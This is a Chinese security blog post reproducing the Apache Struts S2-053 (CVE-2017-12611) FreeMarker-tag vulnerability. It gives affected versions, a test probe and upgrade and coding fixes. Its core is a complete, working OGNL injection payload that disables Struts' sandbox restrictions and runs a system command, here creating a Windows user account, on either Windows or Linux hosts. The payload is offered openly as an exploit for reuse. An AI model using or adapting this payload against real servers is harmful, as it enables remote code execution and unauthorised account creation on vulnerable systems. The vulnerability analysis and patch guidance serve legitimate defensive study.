最新文章:

首页 WEB安全

S2-053漏洞重现(附exp)

发布时间:2017年09月17日 评论数:抢沙发 阅读数:828886755

    0x00 概述:9月7日,apache struts放出s2-053安全公告,漏洞编号:CVE-2017-12611

    ,漏洞在于当freemarker标签使用表达式常量或强制的表达式时会导致RCE。

    官方summary:

    A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals

     

    0x01 影响范围:

    Struts 2.0.1 – Struts 2.3.33,

    Struts 2.5 – Struts 2.5.10

     

    0x02 漏洞重现:

    利用war包或docker很容易部署环境。

    打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32:

    利用exp创建账户,exp如下:

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user iamlsa iamlsa /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    

    成功创建iamlsa账户

    重现成功!

    Ps:这里我又试了弹calc的exp,还是没成功,郁闷……

     

    0x03 修复方案:

    • 升级到Apache Struts2.5.12或2.3.34
    • Freemarker标签内容不要通过Request方式获取
    • 使用只读属性来初始化value属性(仅限getter属性)
    • 不要使用如下结构

    <@s.hidden name=”redirectUri” value=redirectUri />

    <@s.hidden name=”redirectUri” value=”${redirectUri}” />

     

    0x04 结语:

    还能说啥,期待下一波!

    关注传康,关注网络安全,关注KIng安全组

二维码加载中...
本文作者:KIng、传康      文章标题: S2-053漏洞重现(附exp)
本文地址:http://blog.king-safe.cn/post-13.html
版权声明:若无注明,本文皆为“传康Blog- 致力关注于黑客技术、黑客资源、网络信息安全”原创,转载请保留文章出处。
挤眼 亲亲 咆哮 开心 想想 可怜 糗大了 委屈 哈哈 小声点 右哼哼 左哼哼 疑问 坏笑 赚钱啦 悲伤 耍酷 勾引 厉害 握手 耶 嘻嘻 害羞 鼓掌 馋嘴 抓狂 抱抱 围观 威武 给力
提交评论

清空信息
关闭评论